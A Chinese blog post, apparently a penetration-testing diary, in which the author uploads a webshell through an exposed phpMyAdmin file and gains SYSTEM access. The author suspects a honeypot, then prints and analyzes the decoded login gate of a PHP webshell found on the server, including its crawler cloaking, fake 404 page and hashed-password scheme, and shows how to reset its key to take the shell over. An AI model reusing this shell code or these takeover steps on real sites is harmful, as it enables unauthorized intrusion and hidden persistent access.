一次有趣的蜜罐游记

##引子

朋友给了我一个站让我看下,于是我便先信息收集,看看有什么好利用的攻击面,打开扫描器,一支烟的功夫,大概了解了目标的信息。

1
2
3
4
5
6
1、PHP版本5.0.4
2、windows
3、Apache/2.0.54
4、MySQL数据库
5、一个不知名的 cms
6、只开放了 80 443

刚把烟头扔到烟灰缸,目录扫描传来了好消息。

打开 phpmyadmin 下的 pma.php 直接可以上传文件,但有个比较蛋疼的就是直接上传不会成功,bp 抓包后也没有回显。但是经过多次测试发现连续回放 2 次后就可以上传成功在当前目录。直接上一句话发现被杀,然后上冰蝎发现也不好使,好吧,直接上了大马。

看了下权限,嗯,很是喜人。直接 nt authority\system 都省的提取了,直接上 cs msf 远控都行留个后门走人或者想扩大战果搞内网也行,这种站估计内网也好不到哪里去,到这里我自己也感觉故事要结束了。结果想看看还有什么利用的信息就随手去其它盘符看看,这一看不要紧。

当我看到这里心中想这不是个蜜罐吧,渗透的过于平滑了,我接着翻了一些文件,直到看到这个备份文件。

一个 2014 年的 udf,是有些年头了。心想这 8 成是个蜜罐了,不能再搞了。于是把结果告诉了朋友,故事到这里就结束了?心想不能白来一趟啊,于是想到这个网站有 waf,看能不能找到一些前辈的免杀好用的网站管理工具。

然后还真发现一个不错的马子,过最新的某狗。直接访问发现是 404 ,但看了下目录下确实是有东西的,今天捕获的大马还很有特色。

研究样本

首先 base64 解密,把它核心的逻辑拿出来讲下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$color="#2e2";
$default_action="FilesMan";
$default_use_ajax=true;
$default_charset="Windows-1251";
if(!empty($_SERVER['HTTP_USER_AGENT'])){
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/'.implode('|', $userAgents).'/i', $_SERVER['HTTP_USER_AGENT'])){
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WIN_VERSION', '1.5');
$php_ver="d0793096edb66de3a4dc00561e40f0bf87"; //echo $c
if(get_magic_quotes_gpc()){
function WINstripslashes($array){
return is_array($array) ? array_map('WINstripslashes', $array) : stripslashes($array);
}
$_POST = WINstripslashes($_POST);
$_COOKIE = WINstripslashes($_COOKIE);
}
function hpd($hpd=""){
$hpd = strrev($hpd);
$hpd .= "!#@$#%";
$hpd = md5($hpd);
$hpd = substr($hpd,3,19);
return "d".md5($hpd)."7";
}
function d7Goin(){
die("
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<form method=post>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
<input type=password name=pmx style=color:#fff;border:1px solid #fff;>
</form>
</body>
</html>
");
}
function WINsetcookie($k,$v){
$_COOKIE[$k] = $v;
setcookie($k,$v);
}
if(!empty($php_ver)){
if(isset($_POST['pmx']) && (hpd($_POST['pmx']) == $php_ver))
WINsetcookie(hpd($_SERVER['HTTP_HOST']), $php_ver);
if(!isset($_COOKIE[hpd($_SERVER['HTTP_HOST'])]) || ($_COOKIE[hpd($_SERVER['HTTP_HOST'])] != $php_ver))
d7Goin();
}

重点来看一下 if 这个逻辑:判断是否存在 $php_ver 这个变量,如果存在,进入下一个 check,将我们 post 的值作为 function hpd 的参数值运算,判断返回值是否和$php_ver 这个变量相等。那看一下密钥生成的这个 function。

1
2
3
4
5
1、反转我们输入的字符串
2、在 1 的基础上加上 “!#@$#%”
3、md5 加密
4、在 3 的基础上取[3,19] 的字符 md5加密
5、return "d".md5($hpd)."7"

这个生成密钥的过程还真蛮有创意的,一般爆破什么的根本无解,而且非常隐蔽。那我们怎么破解呢?既然现在是nt 权限,可以把它生成密钥的过程单独拿出来,参数我们自己指定,最后把 $php_ver 这个变量改掉就好了。

1
2
3
4
5
6
7
8
9
<?php
$hpd = "123asdf";
$hpd = strrev($hpd);
$hpd .= "!#@$#%";
$hpd = md5($hpd);
$hpd = substr($hpd,3,19);
$c = "d".md5($hpd)."7";
echo $c;
?>

后记

如果以后师傅们碰到蜜罐的话也可以看看蜜罐的特点挖一勺蜜在走XD。

文章作者: Carl Star
文章链接: http://carlstar.club/2019/04/22/有趣的蜜罐游记/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo